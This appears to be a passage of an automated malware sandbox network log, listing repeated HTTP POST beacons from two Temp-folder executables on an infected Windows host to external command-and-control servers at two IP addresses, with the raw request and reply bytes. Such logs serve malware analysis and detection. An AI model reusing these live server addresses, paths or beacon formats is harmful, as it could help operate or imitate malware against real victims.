Jun 20, 2024 15:38:50.115809917 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:38:50.334558010 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.5	49833	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:49.600146055 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:50.274097919 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:50.274863005 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 20, 2024 15:38:50.484236956 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.5	49834	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:50.441904068 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:51.153000116 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:51.173650980 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:38:51.396851063 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.5	49835	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:50.602866888 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:51.274699926 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:51.275429010 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 20, 2024 15:38:51.482438087 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.5	49836	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:51.511555910 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:52.202024937 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:52.202703953 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:38:52.578459024 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jun 20, 2024 15:38:52.826306105 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.5	49837	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:51.605407953 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:52.305391073 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:52.307413101 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 20, 2024 15:38:52.529838085 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 20, 2024 15:38:52.583831072 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:52.836704016 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.5	49838	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:52.837949991 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:53.526689053 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:53.529000998 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:38:53.745171070 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.5	49839	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:52.957783937 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:53.646284103 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:53.651030064 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 20, 2024 15:38:53.862525940 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	49840	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:53.864773035 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:54.565877914 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:54.566658974 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:38:54.785772085 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	49841	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:53.973712921 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:54.641493082 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:54.642194986 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 20, 2024 15:38:54.849937916 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.5	49844	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:54.895874977 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:55.579066992 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:55.580009937 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:38:55.795666933 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.5	49845	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:54.959512949 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:55.637665033 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:55.638591051 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 20, 2024 15:38:55.848701954 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.5	49846	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:55.913778067 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
